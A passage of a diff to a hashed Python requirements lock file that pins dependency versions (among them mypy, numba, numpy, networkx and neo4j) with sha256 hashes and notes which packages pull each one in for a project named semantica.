\ + --hash=sha256:d62b7f64ffde3b99d06b707a280db04fb3855b55f5a06df387236051d0668f4a \ + --hash=sha256:d82dd730a95e6643802f4454b8fdecdf08667881a9c5670db85bc5a56693f122 \ + --hash=sha256:da62917e6076f512daccfbbde27f46fed1c98fee202f0559adec8ee0de67f71a \ + --hash=sha256:dd96c01a9dcd4889dcfcf9eb5544ca0c77603f239e3ffab0524ec17aea9a93ee \ + --hash=sha256:df9f19c28adcb40b6aae30bbaa1478c389efd50c28d541d76760199fc1037c32 \ + --hash=sha256:e1c5988359516095535c4301af38d8a8838534158f649c05dd1050222321bcb3 \ + --hash=sha256:e628ef0e6859ffd8273c69412a2465c4be4a9517d07261b33334b5ec6f3c7489 \ + --hash=sha256:e82d14e3c948952a1a85503817e038cba5905a3352de76b9a465075d072fba23 \ + --hash=sha256:e954b24433c768ce78ab7929e84ccf3422e46deb45a4dc9f93438f8217fa2d34 \ + --hash=sha256:eb0ce7b2a32d09892b3dd6cc44877a0d02a33241fafca5f25c8b6b62374f8b75 \ + --hash=sha256:eb304767bca2bb92fb9c5bd33cedc95baee5bb5f6c88e63706533a1c06ad08c8 \ + --hash=sha256:eb351f72c26dc9abe338ca7294661aa22969ad8ffe7ef7d5541d19f368dc854a \ + --hash=sha256:ec6652a1bee61c53a3e5776b6049172c53b6aaba34f18c9ad04f82712bac623d \ + --hash=sha256:f2a0a924d4c2e9afcd7ec64f9de35fcd96915149b2216e1cb2c10a56df483855 \ + --hash=sha256:f33dc2a3abe9249ea5d8360f969ec7f4142e7ac45ee7014d8f8d5acddf178b7b \ + --hash=sha256:f537b55778cd3cbee430abe3131255d3a78202e0f9ea7ffc6ada893a4bcaeea4 \ + --hash=sha256:f5dd81c45b05518b9aa4da4aa74e1c93d715efa234fd3e8a179df611cc85e5f4 \ + --hash=sha256:f99fe611c312b3c1c0ace793f92464d8cd263cc3b26b5721950d977b006b6c4d \ + --hash=sha256:fa263a02f4f2dd2d11a7b1bb4362aa7cb1049f84a9235d31adf63f30143469a0 \ + --hash=sha256:fc5907494fccf3e7d3f94f95c91d6336b092b5fc83811720fae5e2765890dfba \ + --hash=sha256:fcee94dfbd638784645b066074b338bc9cc155d4b4bffa4adce1615c5a426c19 + # via + # aiohttp + # yarl +multiprocess==0.70.19 \ + --hash=sha256:02e5c35d7d6cd2bdc89c1858867f7bde4012837411023a4696c148c1bdd7c80e \ + --hash=sha256:0d4b4397ed669d371c81dcd1ef33fd384a44d6c3de1bd0ca7ac06d837720d3c5 \ + --hash=sha256:1bbf1b69af1cf64cd05f65337d9215b88079ec819cd0ea7bac4dab84e162efe7 \ + --hash=sha256:1c3dce098845a0db43b32a0b76a228ca059a668071cfeaa0f40c36c0b1585d45 \ + --hash=sha256:3a56c0e85dd5025161bac5ce138dcac1e49174c7d8e74596537e729fd5c53c28 \ + --hash=sha256:5be9ec7f0c1c49a4f4a6fd20d5dda4aeabc2d39a50f4ad53720f1cd02b3a7c2e \ + --hash=sha256:79576c02d1207ec405b00cabf2c643c36070800cca433860e14539df7818b2aa \ + --hash=sha256:8d5eb4ec5017ba2fab4e34a747c6d2c2b6fecfe9e7236e77988db91580ada952 \ + --hash=sha256:928851ae7973aea4ce0eaf330bbdafb2e01398a91518d5c8818802845564f45c \ + --hash=sha256:952021e0e6c55a4a9fe4cd787895b86e239a40e76802a789d6305398d3975897 \ + --hash=sha256:97404393419dcb2a8385910864eedf47a3cadf82c66345b44f036420eb0b5d87 \ + --hash=sha256:c6b6d78d43a03b68014ca1f0b7937d965393a670c5de7c29026beb2258f2f896 \ + --hash=sha256:d6db91ca6391eebc139c352f34578cea382df6bfa03d3b4146ed12b18b01cc14 \ + --hash=sha256:e5e7dc3e3e1732e88c07aaec17eeb9917f9ed1107d9e60d5ab985cdc14bac43a \ + --hash=sha256:e6c0674d34b8adac22533f6786576b3de4e396aaeda9e0c15378af9b8ada2702 \ + --hash=sha256:e8cc7fbdff15c0613f0a1f1f8744bef961b0a164c0ca29bdff53e9d2d93c5e5f + # via mpire +murmurhash==1.0.15 \ + --hash=sha256:0861cb11039409eaf46878456b7d985ef17b6b484103a6fc367b2ecec846891d \ + --hash=sha256:1349a7c23f6092e7998ddc5bd28546cc31a595afc61e9fdb3afc423feec3d7ad \ + --hash=sha256:189a8de4d657b5da9efd66601b0636330b08262b3a55431f2379097c986995d0 \ + --hash=sha256:213d710fb6f4ef3bc11abbfad0fa94a75ffb675b7dc158c123471e5de869f9af \ + --hash=sha256:2224f30f7729717644745a6f513ea7662517dfe7b1867cf1588177f64c61df3c \ + --hash=sha256:22aa3ceaedd2e57078b491ed08852d512b84ff4ff9bb2ff3f9bf0eec7f214c9e \ + --hash=sha256:231dc7982e1aeae8bbab21f8f21953e3b9fb0a34e3ffe2d2342ff32e4f07af9d \ + --hash=sha256:263807eca40d08c7b702413e45cca75ecb5883aa337237dc5addb660f1483378 \ + --hash=sha256:2680851af6901dbe66cc4aa7ef8e263de47e6e1b425ae324caa571bdf18f8d58 \ + --hash=sha256:26fd7c7855ac4850ad8737991d7b0e3e501df93ebaf0cf45aa5954303085fdba \ + --hash=sha256:32c6fde7bd7e9407003370a07b5f4addacabe1556ad3dc2cac246b7a2bba3400 \ + --hash=sha256:342277d8d7f712d136507fb3ccdba26c076a34ca0f8d1b96f65f0daa556da2e9 \ + --hash=sha256:34e5a91139c40b10f98d0b297907f5d5267b4b1b2e5dd2eb74a021824f751b98 \ + --hash=sha256:3c69b4d3bcd6233782a78907fe10b9b7a796bdc5d28060cf097d067bec280a5d \ + --hash=sha256:43bf4541892ecd95963fcd307bf1c575fc0fee1682f41c93007adee71ca2bb40 \ + --hash=sha256:43cc6ac3b91ca0f7a5ae9c063ba4d6c26972c97fd7c25280ecc666413e4c5535 \ + --hash=sha256:44d211bcc3ec203c47dac06f48ee871093fcbdffa6652a6cc5ea7180306680a8 \ + --hash=sha256:4a70ca4ae19e600d9be3da64d00710e79dde388a4d162f22078d64844d0ebdda \ + --hash=sha256:4fd8189ee293a09f30f4931408f40c28ccd42d9de4f66595f8814879339378bc \ + --hash=sha256:539d8405885d1d19c005f3a2313b47e8e54b0ee89915eb8dfbb430b194328e6c \ + --hash=sha256:55e1a7f65095f0af141c8a460765e026e35d9ec526f0daa2f88fed29a292b2ff \ + --hash=sha256:5678a3ea4fbf0cbaaca2bed9b445f556f294d5f799c67185d05ffcb221a77faf \ + --hash=sha256:58e2b27b7847f9e2a6edf10b47a8c8dd70a4705f45dccb7bf76aeadacf56ba01 \ + --hash=sha256:5a301decfaccfec70fe55cb01dde2a012c3014a874542eaa7cc73477bb749616 \ + --hash=sha256:5d8b43a7011540dc3c7ce66f2134df9732e2bc3bbb4a35f6458bc755e48bde26 \ + --hash=sha256:66395b1388f7daa5103db92debe06842ae3be4c0749ef6db68b444518666cdcc \ + --hash=sha256:671979f15b24817968ff6fab5e3a468e2b05555bac5e92f11155610a37165ffc \ + --hash=sha256:694fd42a74b7ce257169d14c24aa616aa6cd4ccf8abe50eca0557e08da99d055 \ + --hash=sha256:6cb4e962ec4f928b30c271b2d84e6707eff6d942552765b663743cfa618b294b \ + --hash=sha256:7c4280136b738e85ff76b4bdc4341d0b867ee753e73fd8b6994288080c040d0b \ + --hash=sha256:8155d106c63c5a509ec58c19b0c30804f3a0931bc65cca9826efc53373332536 \ + --hash=sha256:847d712136cb462f0e4bd6229ee2d9eb996d8854eb8312dff3d20c8f5181fda5 \ + --hash=sha256:88dc1dd53b7b37c0df1b8b6bce190c12763014492f0269ff7620dc6027f470f4 \ + --hash=sha256:898a629bf111f1aeba4437e533b5b836c0a9d2dd12d6880a9c75f6ca13e30e22 \ + --hash=sha256:899068ba3d7c371e7edd093852c634cce802fefd9aaddfcc0d2fda1d7433c7f9 \ + --hash=sha256:8a181494b5f03ba831f9a13f2de3aab9ef591e508e57239043d65c5c592f5837 \ + --hash=sha256:95d7c52598dce7a8543e5a5f61a893cbb762a62a907c6c9cd025d5f618bb8522 \ + --hash=sha256:9aba94c5d841e1904cd110e94ceb7f49cfb60a874bbfb27e0373622998fb7c7c \ + --hash=sha256:a2ea4546ba426390beff3cd10db8f0152fdc9072c4f2583ec7d8aa9f3e4ac070 \ + --hash=sha256:a32054edb567417ac81f7172b7dd7731846f25c63084edeb20545fa7abc849d7 \ + --hash=sha256:aadac5fd5f3f465094a5e4ecd00d739a2b870651cad06c8d1005153c2e815fb3 \ + --hash=sha256:b3ba6d05de2613535b5a9227d4ad8ef40a540465f64660d4a8800634ae10e04f \ + --hash=sha256:b65a5c4e7f5d71f7ccac2d2b60bdf7092d7976270878cfec59d5a66a533db823 \ + --hash=sha256:bba0e0262c0d08682b028cb963ac477bd9839029486fa1333fc5c01fb6072749 \ + --hash=sha256:bc54facccb32fe1e97d6231edd4f3e2937467c35658b26aa35bbd6a87ebb7cb0 \ + --hash=sha256:c22e56c6a0b70598a66e456de5272f76088bc623688da84ef403148a6d41851d \ + --hash=sha256:c4cd739a00f5a4602201b74568ddabae46ec304719d9be752fd8f534a9464b5e \ + --hash=sha256:cb8ebafae60d5f892acff533cc599a359954d8c016a829514cb3f6e9ee10f322 \ + --hash=sha256:cc93769619b6b42740cab8eebb587709daaa3d8f813372cc60358a571de20d2d \ + --hash=sha256:d37e3ae44746bca80b1a917c2ea625cf216913564ed43f69d2888e5df97db0cb \ + --hash=sha256:d4d681f474830489e2ec1d912095cfff027fbaf2baa5414c7e9d25b89f0fab68 \ + --hash=sha256:d7e47c5746785db6a43b65fac47b9e63dd71dfbd89a8c92693425b9715e68c6e \ + --hash=sha256:dc35606868a5961cf42e79314ca0bddf5a400ce377b14d83192057928d6252ec \ + --hash=sha256:e43a69496342ce530bdd670264cb7c8f45490b296e4764c837ce577e3c7ebd53 \ + --hash=sha256:e525bbd8e26e6b9ab1b56758a59b16c2fffd73bad2f7b8bf361c16f70ff1d980 \ + --hash=sha256:e8e674f02a99828c8a671ba99cd03299381b2f0744e6f25c29cadfc6151dc724 \ + --hash=sha256:ef19f38c6b858eef83caf710773db98c8f7eb2193b4c324650c74f3d8ba299e0 \ + --hash=sha256:f32307fb9347680bb4fe1cbef6362fb39bd994f1b59abd8c09ca174e44199081 \ + --hash=sha256:f3e99a6ee36ef5372df5f138e3d9c801420776d3641a34a49e5c2555f44edba7 \ + --hash=sha256:f4989c16053a9a83b02c520dd00a31f0877d5fd2ab8a9b6b75ed9eba0e25c489 \ + --hash=sha256:f4ac15a2089dc42e6eb0966622d42d2521590a12c92480aafecf34c085302cca \ + --hash=sha256:f9bf47101354fb1dc4b2e313192566f04ba295c28a37e2f71c692759acc1ba3c \ + --hash=sha256:fa1b70b3cc2801ab44179c65827bbd12009c68b34e9d9ce7125b6a0bd35af63c \ + --hash=sha256:fe50dc70e52786759358fd1471e309b94dddfffb9320d9dfea233c7684c894ba \ + --hash=sha256:fe883982114de576c793fd1cf55945c8ee6453ad4c4785ac1a48f84e74fdc650 + # via + # preshed + # spacy + # thinc +mypy==2.3.0 \ + --hash=sha256:04e617030eca5221909c8b7d8d7fd1c637948199aa2100b2ad9813feb07e1491 \ + --hash=sha256:094af99f92638aa92852326188b85a89e50f4a472f44827c03362228482f0762 \ + --hash=sha256:09abd66d8685e73f8f7d17b847c3e104d9a7b164a8706ea87d6c96a3d45816d5 \ + --hash=sha256:0b025a93cffb9781d231f232be07a17912f35f10a313c24f301c81e842870654 \ + --hash=sha256:13b1b16e2fa39f3b2e33fb1c468abc7a69369fa2e886b4b87b5afc81472325cd \ + --hash=sha256:1c6c6bf687b17f90dbfcad95b960d32eaa0154c00da45f03ab50bf8952e047fe \ + --hash=sha256:1fa8d916ac3b705af733c4c1e6c9ebe38fd0d52beb15b105c3e8355b55e6ecdc \ + --hash=sha256:28e1e2af8cd8fff551fd30f2fe4b03fb76764ac8b1ba6c6a1bd00ad32b412db3 \ + --hash=sha256:2d53fc67b9d28a43c6199077f49fea0f05839e36cf6158500331c9549225e5a5 \ + --hash=sha256:3419d00717afbc5265b50dd14b1278f29ea4884dd398ab67873489ac093fd329 \ + --hash=sha256:37fa4de896a84e2dc9200d91e614c22563b43d1a266789d4bbac7b22ebe6192b \ + --hash=sha256:3961a4a34b05f7c74b0f05aa51fbfe99a2d1e126038df40318d15c8f558b7ef3 \ + --hash=sha256:3dd0bed92c4bdec57c42505b96416fb9e6a5aa7be84d2809bcd5f2ecec2860d7 \ + --hash=sha256:3e77244df3843048c3f927182916730e40c124cbaa43905c1fb86cb382aa0805 \ + --hash=sha256:4359424140d985192c778c1ce2c114a10c1ca58a381ed79cfa70d37df94b299f \ + --hash=sha256:465965d41cd9a2726694e983e8ce7113259327bec798115d1e1dfa2a52fb666e \ + --hash=sha256:56c184d2c20ca6b6378d58d1960270a767f41f5e44acbbd27f05effef4f4e1d7 \ + --hash=sha256:5e91adad1ca81742ac7ef9893959911df867752206b37135185e88dfb3c89494 \ + --hash=sha256:691fdc37132b1ae628d834f672e74de83462d9fb4aff621835767fb43a8dd373 \ + --hash=sha256:6b1cdb579446b60432432b2b2403a6201b4b475a004d7f488511c9ba177c9e88 \ + --hash=sha256:6f99ec626e3c3a2f7c0b22c5b90ddb5dabb1c18729c971e9bdaca1f1766d2cee \ + --hash=sha256:7247eb2824f996722a949530183394921ca71deb9680052a338cf53cff7925c2 \ + --hash=sha256:75b0984bb3cbd76bb5c9291a8671f7ae66ca3b51c7584c358fc2e923259f0757 \ + --hash=sha256:75cbb4b9ef04a0c84a957f07abc4504fbf64b8dcc145675101f2d3a78a4b1d6a \ + --hash=sha256:7da939dd335cfd2ad788bdfd081c9f4e47634ab995e5a45eb15fd1e5bc052f8b \ + --hash=sha256:85c5385b93012ffa3b31479ab579aef5415f4f3a32c6cf1ae07a984d2a0ff461 \ + --hash=sha256:91ad22a52ae2c7e621c2f67c94d5a17f66b3209a4cff5cf8a573579835c69e97 \ + --hash=sha256:944c665d984157cb96a679dfb7a4a81dd1d36b24b9c284b699514e6e626b82d4 \ + --hash=sha256:9559ab18a9c9957dfa3004ab57cd4bac5f26a724329a9584e583367f0c2e1117 \ + --hash=sha256:982e3d53dd23d0a4cef67dd66791fdbede0cf38f9eb617bf47663554c51e1e36 \ + --hash=sha256:99ac767cc5d3b64c8d0ae226ead10c96694f94e4e7da1668642225dcd4e75aac \ + --hash=sha256:adebc76aab4f3495a88b41d48aa4aff0c03f2822501da76625afcca5975f19e5 \ + --hash=sha256:aec15d465d477558fd842757b487849007311cf3897849cdda0e3162ac0ac556 \ + --hash=sha256:b1942b9314d4c784b8ea1dbab4972603290e5dd5630f06675f13aec97526bc4c \ + --hash=sha256:b352b7e49f5e6576009e8df730e1ff4f915cb565b851b396d2ffe2f5a6f5da88 \ + --hash=sha256:b5cd2f027a972a4a5f2278a11fac9747f5f81a53a30b714d74950b6807e55568 \ + --hash=sha256:be51653d7669d7d7955d613b8d0bb57d5b652eaf71a873ddf65ac87254dd2595 \ + --hash=sha256:cfca8ee88544090f86b6dcce05ec55d66eb48a762412ac2507810ba4bd793b6f \ + --hash=sha256:d78fcf900b59cb7e82cb7e3a235e31b462d9333d92285bd1e4952d355b8ffba1 \ + --hash=sha256:de121747278144fc9ae7caa2e978cf5df12aebc82933182f5b3b86081a30baef \ + --hash=sha256:de6d2c484742a4d7b0ed6d07b143375624d3b899c5749c7b3c947f56261f48a6 \ + --hash=sha256:ea317b060ce83e26050f8f9e4d7d6bf44ed7597c8ff9990bccffbb9d1d8522db \ + --hash=sha256:f1b3a98dfd21058bc759bb3337d5d1f61d0fdf9f3cf9c00f4291790fb5427bff \ + --hash=sha256:f4ed18f111bfe2d599bca7468e7f9251042c1c2118f762c8de2766a56d773c60 \ + --hash=sha256:fbc00cee7bdbb9291979ddc9d08034a29dfcda4932628c9bbc28c1edd589df0c + # via semantica (pyproject.toml) +mypy-extensions==1.1.0 \ + --hash=sha256:1be4cccdb0f2482337c4743e60421de3a356cd97508abadd57d47403e94f5505 \ + --hash=sha256:52e68efc3284861e772bbcd66823fde5ae21fd2fdb51c62a211403730b916558 + # via + # black + # mypy +narwhals==2.24.0 \ + --hash=sha256:42fdedf44e5b2ca7505630d45b4ac3058f38d8485cba9fe1652ca23152df7489 \ + --hash=sha256:b5c0f684ccd9d7475b564111e319a4964abcf2baf79d3cf6b1003d06ac9b828d + # via + # plotly + # scikit-learn +nbclient==0.11.0 \ + --hash=sha256:04a134a5b087f2c5887f228aca155db50169b8cd9334dee6942c8e927e56081a \ + --hash=sha256:ef7fa0d59d6e1d41103933d8a445a18d5de860ca6b613b87b8574accdb3c2895 + # via nbconvert +nbconvert==7.17.1 \ + --hash=sha256:34d0d0a7e73ce3cbab6c5aae8f4f468797280b01fd8bd2ca746da8569eddd7d2 \ + --hash=sha256:aa85c087b435e7bf1ffd03319f658e285f2b89eccab33bc1ba7025495ab3e7c8 + # via + # jupyter + # jupyter-server +nbformat==5.11.0 \ + --hash=sha256:7dbaed4a69cae28c2b4d44ab7430a6af4544fb89455023f6f21550be757b60c8 \ + --hash=sha256:f70a17f591a9ccd1c601d5e61a4b20972703926df0ba42458ce14bf575766bb6 + # via + # jupyter-server + # nbclient + # nbconvert +neo4j==6.2.0 \ + --hash=sha256:b87abdd13a5cc2e3bd51026926c2f20ac38fa3febe98c340520dce19e97388d0 \ + --hash=sha256:e1e246b65b572bd8ea97f9e0e721b7d40a5ce53e53d0007c29aef63e4f9124d9 + # via semantica (pyproject.toml) +nest-asyncio2==1.7.2 \ + --hash=sha256:1921d70b92cc4612c374928d081552efb59b83d91b2b789d935c665fa01729a8 \ + --hash=sha256:f5dfa702f3f81f6a03857e9a19e2ba578c0946a4ad417b4c50a24d7ba641fe01 + # via ipykernel +networkx==3.6.1 \ + --hash=sha256:26b7c357accc0c8cde558ad486283728b65b6a95d85ee1cd66bafab4c8168509 \ + --hash=sha256:d47fbf302e7d9cbbb9e2555a0d267983d2aa476bac30e90dfbe5669bd57f3762 + # via + # semantica (pyproject.toml) + # d3graph + # python-louvain + # pyvis + # torch +nodeenv==1.10.0 \ + --hash=sha256:5bb13e3eed2923615535339b3c620e76779af4cb4c6a90deccc9e36b274d3827 \ + --hash=sha256:996c191ad80897d076bdfba80a41994c2b47c68e224c542b48feba42ba00f8bb + # via pre-commit +notebook==7.6.2 \ + --hash=sha256:5fe9e09c335cb4b7de21627b860f77210e70e54b1fb1276ad942a4a7e1d858d3 \ + --hash=sha256:cc02b5f0bb972160cccfe44ad8a1a202036206ba3439469c514f03aefa9ae807 + # via jupyter +notebook-shim==0.2.4 \ + --hash=sha256:411a5be4e9dc882a074ccbcae671eda64cceb068767e9a3419096986560e1cef \ + --hash=sha256:b4b2cfa1b65d98307ca24361f5b30fe785b53c3fd07b7a47e89acb5e6ac638cb + # via + # jupyterlab + # notebook +numba==0.67.0 \ + --hash=sha256:00c964a5b94d3ae82d83ac162cd610755875b98dadb779fdde06e6bfcdbca47e \ + --hash=sha256:3fa3d1b27f96f2c0d54513d953d7197886aa1eaa7d2439a0eedc44d993fb181a \ + --hash=sha256:4a2ed006635bbd0fe45681ed49f3b4f4bad1abf0c233bcc5842c9e3a34cabd61 \ + --hash=sha256:4d576e62bf2c9370f61312b51573c4bb1f3fe96798bbab56730847a368a316c4 \ + --hash=sha256:50e2b72406c18cda5dd7431b0082cb85ea94e06c64c33607248fc8bef92cfb81 \ + --hash=sha256:5269245a675abdd3e2c35ec6bb2f250355effa9032514d8f2354f0d2d10854bd \ + --hash=sha256:6004d8d5f28d4028687fb2d972d629295b13685943bd2ed5cd8810c3b848e219 \ + --hash=sha256:694c81c6560b2b47e5fc1dc39c29175b907adf862d9af0af801453400a022a61 \ + --hash=sha256:76d3335aaeffb9dc88309420890e73497a00be08a7530441bc2b58ffe025bfa5 \ + --hash=sha256:77e1c7173fee57a0d84e006c7e70346689d6cb3e7db503489bae58646b4eff7b \ + --hash=sha256:7930748ce8355d2a5a28602abab056a61fdc676d17377f27d17993905428171f \ + --hash=sha256:83ab968b0e0fa744eba03351282dd8000796e6ec8e4518f47bd3ed86c0a20c7b \ + --hash=sha256:88f6e0f5cb6c545e158b6ef0496c01b6d6958a7ccc6634a1576a94bbbab29ff2 \ + --hash=sha256:8c0e88acd4341ddf40779db3c0228b9188aca7fcab5f5f3ce9949a1fc71e9a02 \ + --hash=sha256:8c80c847301dc33dc8f84a97a952004023d9a05578ae4512b087176264cc1960 \ + --hash=sha256:9c4953387c77864b596d8296e2cfbdef82b0eea4166ab4864b05d226c51143e0 \ + --hash=sha256:aa5f002f665bec321b950dacaa26ee009e1d720f6ac9d9856eed5efe1caa03a6 \ + --hash=sha256:b68ad5125fe245339cc8dcc036081fc1ea482c5063387b9612a76ccd83dc91cd \ + --hash=sha256:cd75aa535b33fa05d9d930b1ae8af9f97a2881e96d72dfb38ec9b78284d9f851 \ + --hash=sha256:cfba1ac34f0363fb1a250a10e97240780d11e05227892f7286b26fbfd0ad58ce \ + --hash=sha256:d6c8e9ba3f9602471e8c6f563ffcce8db8046741f0bafb782a052e41dc6b6861 \ + --hash=sha256:e7a7b0121466f1e9a8a074b0545fe90e16389623abf979b5d7c299dca1294d7e \ + --hash=sha256:ed333e0af4386294e7f03e550e01411856b6935e717d859225e0a7338c6b6795 \ + --hash=sha256:f074a8e23db78490f11a3930c940be758316c10ac5985be83d2f298dc080acf7 \ + --hash=sha256:f63d43db06b4756424d6d2484737c902e0ae944a0eec3e8b0b4de2c695b15caa \ + --hash=sha256:f99f880ff25f418a67f9a1d00d0ddfbc63430f627b523e515085a592a7567f4b + # via + # librosa + # pynndescent + # umap-learn +numpy==2.4.6 \ + --hash=sha256:001fbb8e08d942dd57599e781f2472269ee7f2755fae407b4f67b2f0b17da3f1 \ + --hash=sha256:0280e0356c0829a18d9de1cb7eee50ec22ca639878d7240307ca0943d73cd2c4 \ + --hash=sha256:043191bfa8eab18c776647b62723ac9dddece59743b13f49b2016094129c2b3f \ + --hash=sha256:06ca2f61ec4385a07a6977c55ba998a4466c123642b4a32694d3128fce18c079 \ + --hash=sha256:0a041d3d761dc3c35cc56ce0351506a02bcbc25f7b169f652435141a17db9096 \ + --hash=sha256:0ab0a9c4ffb1a6d95ef519fe4247dba8eb6b18ad93999f76b7f657039acabd47 \ + --hash=sha256:0c9136e14ed34a9e343a31c533d78a9813a69a3148332bce5e9821cb2f996e66 \ + --hash=sha256:110f8b71aacb688ec69062bb7f6938a0f8acb01b7c1c4beb453c65b6d234584d \ + --hash=sha256:112b06a867b235ef466ed3508ddf0238050df9c727cafb5301ac385b899189a1 \ + --hash=sha256:17f9ade344e7d9b464a084d69bcf18fc691cb1db67c62ed80820bf4926d78f0e \ + --hash=sha256:1e254a00cdf42b1e4d5b3d68d33af63268d41340d8885df2ab6470f2e1500147 \ + --hash=sha256:1e978ec1e8bd0e0e4de6bb75de9d30cbb74db6b6a2bb727618613703ca0167dd \ + --hash=sha256:25c692919ac5a01f170a3bfcd62d745b24fd095c353d50812637d6fcab442e75 \ + --hash=sha256:260a5d70215b61ab4fadf5c7baacd64821842975eea312125ed3c39a6391b063 \ + --hash=sha256:2803abfebfc990042cd494d8ce2d5f82e9d847af6d35ec486923aa19dbad5e73 \ + --hash=sha256:29a287e0cf63ff528da061de6b9f64a4618da591ca1046aafc54062e40ca7eab \ + --hash=sha256:29cb7f67d10b479ff07c17d33e39f78c07f71c40ef30d63c153d340e96cd3fb4 \ + --hash=sha256:3213d622a0283a39a93d188f3cf72b26862df52fbb4ca3697f51705016523d41 \ + --hash=sha256:33111801a01c12a8a1e3721f0a9232f8cfc8ae2c6b7098167e6f623c6073f402 \ + --hash=sha256:357cc07a6d7b0b182ff02249616a03742827ebb1277546b5c7cd7f7620a45698 \ + --hash=sha256:38efbc8de75c7a0fc1ac190162d892787f3f47b57cc291231aafee36b80982b7 \ + --hash=sha256:4081eb135ac24158bd51cdfbef16f1c64df7063b1143f24731387137c092bec8 \ + --hash=sha256:40fdc1ae7125e518ea98e53e69a4ebc27e1fd50510c47b7ea130cf21e5e1d42b \ + --hash=sha256:4cfe66903cc32a9921a6733d96b19bb6abf310397581bbad89c228f5abaf0ee8 \ + --hash=sha256:511dbaf848decaaaf4b4ca48032619fb3138710c4bf7da7617765edad1ef96b0 \ + --hash=sha256:55cced7c52e981362f708ad635198e97a752dfba412cc03c23bbf3bd8d5cd662 \ + --hash=sha256:56b39e5e0622a09a25bf5baf62f4bcf0cb8a41ae6e2819cf49bbc5a74c083f91 \ + --hash=sha256:5dbbdb29840ca3d91ee0fece42fc29278886d908280bfec0a5846c6f901a3eb0 \ + --hash=sha256:5f9fb9157b4ce2971008323afe46053787b526ef624fea915b261468a8421a0f \ + --hash=sha256:6180d8b35af935aed8ece3a85e0a43f87393ae0ac87c8d2c8bd2c993f7270ef3 \ + --hash=sha256:68a5124b13fa6cc2086764a20005d30bc0548146f7f5322f02fce212ca14317f \ + --hash=sha256:68bb27509ac1b9a3443094260f6326150663b06abe40b73a2f81160623da5b67 \ + --hash=sha256:6f41ae150c4e32db4f3310cdaf64b1593a03dbabe29eec77fc9b50fe64061df6 \ + --hash=sha256:7265a2f3d436e54ef9f2b52b5c937e6be778781bd97a590319d7348f1c1ca997 \ + --hash=sha256:72fbe16c6fac95aedf5937fa873445cec2110be35d8a4e9433d7501fd98dae6b \ + --hash=sha256:7d92c3819208a60205a12a245c91ad70cb0a85336659b19b834205573ac8456e \ + --hash=sha256:8155154c7c691289fe18f510b5d4657c68c67989f293f0535a91360392ff6538 \ + --hash=sha256:81a1cca95ed5bb92aa8b10dd2cdc9a0d3853a50fad926c28b5d7e8ea54389627 \ + --hash=sha256:89cd468399cfd2504718f0ba50e410dca55a170b61a02ad92bb18c8a65186e93 \ + --hash=sha256:8ad03c0965fb3c692200e74d458ca28c1dbb4ce96f9a479a8aa041ad5fabca02 \ + --hash=sha256:90f9849678c75fe7afa2d348ac842c168b0a4d3d61919687216dfc547976d853 \ + --hash=sha256:948424b06129ce883307e8cff868c31396d8dc7630a59c61d70d98dbe70f222c \ + --hash=sha256:9cd5ffd25db4e7ba6a375693b3fc0fc1791ec636c17db3720da19bde7180ec43 \ + --hash=sha256:a0df0043bdb289bde1f62da130d20df23d58b45429f752bc7a8fc5325a225ecd \ + --hash=sha256:a2c306dea656c12c68f51f4cea133cbe78ca7435eb28c735eac1d3ebe73be6e8 \ + --hash=sha256:a7830bab239b79cda9c08c2da014761cafb48da6150e1da17ac06283f43b6089 \ + --hash=sha256:a7c711e21628b52034bb5ab8d1bce291f752fcc5e92accc615778acee1ff4778 \ + --hash=sha256:aaf159caa35993cb1f56fb9b8e4610d35758e7ca005412eb1daa856a78c9c4b1 \ + --hash=sha256:ae506e6902902557576a26ff33eda8695e7ecb3cb36c3b573a0765dee114ebdb \ + --hash=sha256:b507f5c4c1d508876d1819b6bf9a49d365b96320b5d4993426b33a23ca4b8261 \ + --hash=sha256:bf162abab1c1a736333192707cef898e735a5ca00f38f27eeedf44b39d9e85eb \ + --hash=sha256:c1a2af6c6ef86344a6b0db6b97834208bf598db514f2b155042439b62605601a \ + --hash=sha256:c2d37ab77531417474168eb79d6d80b14f821a966818505d03013d0833edb7a8 \ + --hash=sha256:c4fc99836233ea196540b17ab0983aff60ed07941751930f5f4d05bc3b3b7359 \ + --hash=sha256:d581b735e177fdcdce6fed8e7e8880a3fb6ee4e3653a3ac6af01c6f4c03effc5 \ + --hash=sha256:d6da64deb6b8ed903e7560180a92f2d804ee1ba5eeb849ac2748b8c1aba1f6d7 \ + --hash=sha256:d8e8286dd7cea7895157318d1b91cdacac64c479f3cbc8dce548331728484751 \ + --hash=sha256:ddea102b48f9e339f3948bf22040944184627a30fdf7f858667673b9c5f033c8 \ + --hash=sha256:dfa20cc6ca228e6b155b11da03825975ce66aea520985dbbddf0f2a5a495c605 \ + --hash=sha256:e3e5193ef5a3dc73bceee50f7fdc2c90dbb76c42df8d8fae3d1067a583df579e \ + --hash=sha256:e3eeb0aabd6bd5ce64faae67e9935203a6991b4bc2a485a767fbafb2c5125f45 \ + --hash=sha256:e5805d5a22fd19c8ccff10a9561f9df94436b0545619ea579db2d3c35294bce2 \ + --hash=sha256:e85b752a1e912b70eaad4fafbd4d1238007ab221de2009b9a2f5ae7461239895 \ + --hash=sha256:eaf7fa2de5c0be8ae6ff8e9bea2ccd725e980541244521d8d4b5f3354a27babe \ + --hash=sha256:ebfb099f8dcf083deef3ac1ca4c1503f387cf76296fcb3816b66f5ecb5f54fdb \ + --hash=sha256:ece3d2cfe132e7d51f44a832b303895e6f2d499c5e74dfbdb06ee246147a304a \ + --hash=sha256:ed9749eef4cbd126da3dc1d6bcb3a57f5eb7ac6a6484146bdbf743f552dfc577 \ + --hash=sha256:ede83e07a75dd06bc501566c1eca2afc0d61677c1472ac9ad93fdee6e638a48d \ + --hash=sha256:ef4aea96ce4d3b074422cb4f2f64e216bf9e213004bb58ecfdf50ea02ea8eb9a \ + --hash=sha256:f3a3570c4a2a16746ac2c31a7c7c7b0c186b95ce902e33db6f28094ed7387dda \ + --hash=sha256:f407cb6b8e9d6d8c626bc73c945db1706035af8fd632295547bf1c9e46d092d6 \ + --hash=sha256:f74a575920ab21fe304421a3fc28793d82e299cae9eccb37084e9fc7f3617c20 + # via + # semantica (pyproject.toml) + # accelerate + # bertopic + # blis + # colourmap + # contourpy + # d3blocks + # d3graph + # datazets + # distfit + # docling-ibm-models + # docling-slim + # faiss-cpu + # fastembed + # gensim + # hdbscan + # ismember + # librosa + # matplotlib + # numba + # onnxruntime + # opencv-python + # pandas + # patsy + # python-louvain + # qdrant-client + # rapidocr + # safetensors + # scatterd + # scikit-learn + # scipy + # seaborn + # sentence-transformers + # shapely + # soundfile + # soxr + # spacy + # statsmodels + # thinc + # torchvision + # transformers + # umap-learn 